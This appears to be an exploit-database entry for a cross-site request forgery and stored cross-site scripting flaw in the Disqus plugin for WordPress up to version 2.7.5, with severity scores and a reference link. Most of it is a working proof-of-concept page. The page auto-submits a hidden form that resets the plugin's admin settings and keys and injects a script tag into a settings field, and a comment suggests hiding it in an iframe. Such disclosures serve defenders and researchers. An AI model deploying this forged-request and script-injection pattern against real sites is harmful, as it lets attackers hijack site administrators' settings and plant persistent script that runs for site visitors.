Disqus 2.7.5 Cross Site Request Forgery / Cross Site Scripting

2014-08-14 / 2014-08-21
Credit: Nik
Risk: Medium
Local: No
Remote: Yes


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<!-- Exploit for Disqus for Wordpress admin stored CSRF+XSS up to v2.7.5 Blog post explainer: https://www.nikcub.com/posts/multiple-vulnerabilities-in-disqus-wordpress-plugin/ 12th August 2014 Nik Cubrilovic - www.nikcub.com Most of these params are unfiltered/injectable. Not framable on newer Wordpress. --> <body onload="javascript:document.forms[0].submit()"> <form action="http://wordpress.dev/wp-admin/edit-comments.php?page=disqus" method="post" class="dashboard-widget-control-form"> <h1>disqus csrf reset</h1> <!-- Idea for you: Iframe it --> <input name="disqus_forum_url" type="hidden" value="wordpress342222222" /> <input name="disqus_replace" type="hidden" value="all" /> <!-- <input name="disqus_partner_key" type="hidden" value="1" /> --> <input name="disqus_cc_fix" type="hidden" value="1" /> <input name="disqus_partner_key" type="hidden" value="1" /> <input name="disqus_secret_key" type="hidden" value="1" /> <!-- Your File: <input name="disqus_sso_button" type="file" /><br /> --> <input type="submit" value="save" /> <input name="disqus_public_key" type="hidden" value='</textarea><script>alert(1);</script><textarea>' /> </form>

References:

http://cxsecurity.com/issue/WLB-2014080055


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